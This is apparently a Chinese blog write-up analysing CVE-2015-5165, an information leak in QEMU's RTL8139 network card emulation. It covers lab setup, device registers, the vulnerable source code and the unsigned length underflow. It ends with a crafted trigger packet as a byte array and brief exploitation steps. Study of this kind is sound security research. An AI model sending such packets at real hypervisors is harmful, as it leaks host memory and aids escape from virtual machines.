参考:https://www.anquanke.com/post/id/197637#h2-0

主要参考:http://www.phrack.org/papers/vm-escape-qemu-case-study.html

CVE-2015-5165

The C+ mode offload emulation in the RTL8139 network card device model in QEMU, as used in Xen 4.5.x and earlier, allows remote attackers to read process heap memory via unspecified vectors.

QEMU中使用的RTL8139网卡设备模型的Xen 4.5.x和更早版本中的C +模式卸载仿真允许远程攻击者通过未指定的向量读取进程堆内存。

准备

编译qemu

1
2
3
4
5
6
7
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout bd80b59
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make

生成镜像文件脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
mkdir rootfs

sudo debootstrap --include=openssh-server,curl,tar,gcc,
libc6-dev,time,strace,sudo,less,psmisc,
selinux-utils,policycoreutils,checkpolicy,selinux-policy-default
stretch rootfs

set -eux

# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' rootfs/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a rootfs/etc/inittab
#printf 'nauto enp0s3niface enp0s3 inet dhcpn' | sudo tee -a qemu/etc/network/interfaces
printf 'nallow-hotplug enp0s3niface enp0s3 inet dhcpn' | sudo tee -a rootfs/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a rootfs/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a rootfs/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a rootfs/etc/sysctl.conf
echo -en "127.0.0.1tlocalhostn" | sudo tee rootfs/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a rootfs/etc/resolve.conf
echo "ubuntu" | sudo tee rootfs/etc/hostname
sudo mkdir -p rootfs/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee rootfs/root/.ssh/authorized_keys

# Build a disk image
dd if=/dev/zero of=rootfs.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F rootfs.img
sudo mkdir -p /mnt/rootfs
sudo mount -o loop rootfs.img /mnt/rootfs
sudo cp -a rootfs/. /mnt/rootfs/.
sudo umount /mnt/rootfs

这里我遇到了坑,在生成的rootfs文件夹下的etc/network/interface文件中,它生成的文件内容是错误的,就会导致系统启动的时候network服务无法正常启动,错误之处很简单,应该是生成这个文件的时候,本来想写进去\n的,结果写成了n

编译linux内核

1
2
3
4
5
6
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.2.11.tar.xz -O linux-5.2.11.tar.xz
tar -xvf linux-5.2.11.tar.xz
make defconfig
make kvmconfig
#编辑 .config 文件, 将 CONFIG_8139CP=y 和 CONFIG_PCNET32=y 打开
make -j4

RTL8139的一些信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// 这是RTL8139的寄存器的偏移
enum RTL8139_registers {
MAC0 = 0, /* Ethernet hardware address. */
MAR0 = 8, /* Multicast filter. */
TxStatus0 = 0x10,/* Transmit status (Four 32bit registers). C mode only */
/* Dump Tally Conter control register(64bit). C+ mode only */
TxAddr0 = 0x20, /* Tx descriptors (also four 32bit). */
RxBuf = 0x30,
ChipCmd = 0x37,
RxBufPtr = 0x38,
RxBufAddr = 0x3A,
IntrMask = 0x3C,
IntrStatus = 0x3E,
TxConfig = 0x40,
RxConfig = 0x44,
Timer = 0x48, /* A general-purpose counter. */
RxMissed = 0x4C, /* 24 bits valid, write clears. */
Cfg9346 = 0x50,
Config0 = 0x51,
Config1 = 0x52,
FlashReg = 0x54,
MediaStatus = 0x58,
Config3 = 0x59,
Config4 = 0x5A, /* absent on RTL-8139A */
HltClk = 0x5B,
MultiIntr = 0x5C,
PCIRevisionID = 0x5E,
TxSummary = 0x60, /* TSAD register. Transmit Status of All Descriptors*/
BasicModeCtrl = 0x62,
BasicModeStatus = 0x64,
NWayAdvert = 0x66,
NWayLPAR = 0x68,
NWayExpansion = 0x6A,
/* Undocumented registers, but required for proper operation. */
FIFOTMS = 0x70, /* FIFO Control and test. */
CSCR = 0x74, /* Chip Status and Configuration Register. */
PARA78 = 0x78,
PARA7c = 0x7c, /* Magic transceiver parameter register. */
Config5 = 0xD8, /* absent on RTL-8139A */
/* C+ mode */
TxPoll = 0xD9, /* Tell chip to check Tx descriptors for work */
RxMaxSize = 0xDA, /* Max size of an Rx packet (8169 only) */
CpCmd = 0xE0, /* C+ Command register (C+ mode only) */
IntrMitigate = 0xE2, /* rx/tx interrupt mitigation control */
RxRingAddrLO = 0xE4, /* 64-bit start addr of Rx ring */
RxRingAddrHI = 0xE8, /* 64-bit start addr of Rx ring */
TxThresh = 0xEC, /* Early Tx threshold */
};

/*
- TxConfig: Enable/disable Tx flags such as TxLoopBack (enable loopback
test mode), TxCRC (do not append CRC to Tx Packets), etc.
- RxConfig: Enable/disable Rx flags such as AcceptBroadcast (accept
broadcast packets), AcceptMulticast (accept multicast packets), etc.
- CpCmd: C+ command register used to enable some functions such as
CplusRxEnd (enable receive), CplusTxEnd (enable transmit), etc.
- TxAddr0: Physical memory address of Tx descriptors table.
- RxRingAddrLO: Low 32-bits physical memory address of Rx descriptors
table.
- RxRingAddrHI: High 32-bits physical memory address of Rx descriptors
table.
- TxPoll: Tell the card to check Tx descriptors.
*/

漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
--- hw/net/rtl8139.c:2153 ---

/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t ip_protocol = 0;
uint16_t ip_data_len = 0;

uint8_t *eth_payload_data = NULL;
size_t eth_payload_len = 0;

int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
if (proto == ETH_P_IP)
{
DPRINTF("+++ C+ mode has IP packet\n");

/* not aligned */
eth_payload_data = saved_buffer + ETH_HLEN;
eth_payload_len = saved_size - ETH_HLEN;

ip = (ip_header*)eth_payload_data;

if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
DPRINTF("+++ C+ mode packet has bad IP version %d "
"expected %d\n", IP_HEADER_VERSION(ip),
IP_HEADER_VERSION_4);
ip = NULL;
} else {
hlen = IP_HEADER_LENGTH(ip);
ip_protocol = ip->ip_p;
ip_data_len = be16_to_cpu(ip->ip_len) - hlen; //漏洞点
}
}

......
--- hw/net/rtl8139.c:2231 ---

int tcp_data_len = ip_data_len - tcp_hlen;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;

int is_last_frame = 0;

for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len;
tcp_send_offset += tcp_chunk_size) {
uint16_t chunk_size = tcp_chunk_size;

/* check if this is the last frame */
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) {
is_last_frame = 1;
chunk_size = tcp_data_len - tcp_send_offset;
}

memcpy(data_to_checksum, saved_ip_header + 12, 8);

if (tcp_send_offset) {
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen,
(uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset,
chunk_size);
}

/* more code follows */
}

在以上代码中标注的漏洞点处

ip->ip_len是整个IP数据报的包括报头在内的总长度,hlen是IP数据报的报头的长度

在计算ip_data_len的时候,没有对be16_to_cpu(ip->ip_len) > hlen做检测,若be16_to_cpu(ip->ip_len) < hlen的话,由于这三个值都是都是无符号数,就会导致ip_data_len变得非常大,从而导致了漏洞

关于exploit

只需要对网卡进行特定的配置,然后将TxRxbuffer设置好,然后将构造的包发送过去即可

1
2
3
4
5
6
7
static uint8_t rtl8139_packet [] = {
0x52, 0x54, 0x00, 0x12, 0x34, 0x57, 0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
0x08, 0x00, 0x45, 0x00, 0x00, 0x13, 0xde, 0xad, 0x40, 0x00, 0x40, 0x06,
0xff, 0xff, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01, 0x04, 0x00,
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x10,
0x00, 0x00, 0xff, 0xff, 0x00, 0x00
};

要注意,TxRxbuffer设置的时候,buffer的地址需要从qemu内部的虚拟地址转换成qemu内部的物理地址即host机中qemu的虚拟地址